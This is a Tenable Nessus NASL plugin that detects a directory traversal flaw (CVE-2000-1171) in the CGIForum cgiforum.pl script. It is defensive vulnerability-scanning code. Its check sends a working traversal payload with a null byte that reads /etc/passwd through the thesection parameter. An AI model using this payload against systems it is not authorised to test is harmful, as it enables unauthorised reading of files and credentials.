CGIForum cgiforum.pl thesection Parameter Traversal Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');


if(description)
{
 script_id(10552);
 script_bugtraq_id(1963);
 script_version("1.31");
 script_cve_id("CVE-2000-1171");
 
 script_name(english:"CGIForum cgiforum.pl thesection Parameter Traversal Arbitrary File Access");
 script_summary(english:"Checks for the presence of /cgi-bin/cgiforum.pl");
 
 script_set_attribute( attribute:"synopsis", value:
"A web application running on the remote host has a directory
traversal vulnerability." );
 script_set_attribute( attribute:"description",  value:
"The 'cgiforum.pl' CGI is installed. This CGI has a well known
security flaw that could let a remote attacker read arbitrary files
on the remote host." );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/2000/Nov/267"
 );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/2000/Nov/345"
 );
 script_set_attribute(
   attribute:"solution", 
   value:"Upgrade to CGIForum version 1.01 or later."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2000/11/20");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/11/20");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_family(english:"CGI abuses");
 
 script_copyright(english:"This script is Copyright (C) 2000-2021 Tenable Network Security, Inc.");
 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
 req = string(dir,"/cgiforum.pl?thesection=../../../../../../../../etc/passwd%00");
 buf = http_send_recv3(method:"GET", item:req, port:port);
 if( isnull(buf) ) exit(0);

 if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf)){
 	security_warning(port);
	exit(0);
	}
}